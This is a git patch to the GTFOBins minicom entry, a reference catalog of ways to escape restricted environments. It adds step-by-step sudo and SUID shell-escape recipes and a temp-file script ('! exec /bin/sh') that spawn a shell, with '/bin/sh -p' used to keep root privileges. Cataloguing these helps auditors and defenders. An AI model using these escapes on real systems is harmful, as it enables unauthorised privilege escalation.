From 126cb95d3ce2961e8530f0a60be1848b57ff71e8 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 21 Oct 2023 13:54:23 +0200 Subject: [PATCH] Add alternatives to minicom.md --- _gtfobins/minicom.md | 33 +++++++++++++++++++++++++++++++-- 1 file changed, 31 insertions(+), 2 deletions(-) diff --git a/_gtfobins/minicom.md b/_gtfobins/minicom.md index 222d924..20a92ef 100644 --- a/_gtfobins/minicom.md +++ b/_gtfobins/minicom.md @@ -1,13 +1,42 @@ --- +description: Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`. functions: shell: - description: | Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; - 2. press `E` and type `/bin/sh`; + 2. press `e`, type `/bin/sh`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. - After the shell, exit with `Ctrl-A x`. Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`. + After the shell, exit with `Ctrl-A x`. code: | minicom -D /dev/null + sudo: + - description: | + Start the following command to open the TUI interface, then: + 1. press `Ctrl-A o` and select `Filenames and paths`; + 2. press `e`, type `/bin/sh`, then `Enter`; + 3. Press `Esc` twice; + 4. Press `Ctrl-A k` to drop the shell. + After the shell, exit with `Ctrl-A x`. + code: | + sudo minicom -D /dev/null + suid: + - description: | + Start the following command to open the TUI interface, then: + 1. press `Ctrl-A o` and select `Filenames and paths`; + 2. press `e`, type `/bin/sh -p`, then `Enter`; + 3. Press `Esc` twice; + 4. Press `Ctrl-A k` to drop the shell. + After the shell, exit with `Ctrl-A x`. + code: | + ./minicom -D /dev/null + shell: + - description: | + After the shell, exit with `Ctrl-A x`. + code: | + TF=$(mktemp) + echo "! exec /bin/sh <$(tty) 1>$(tty) 2>$(tty)" >$TF + minicom -D /dev/null -S $TF + reset^J ---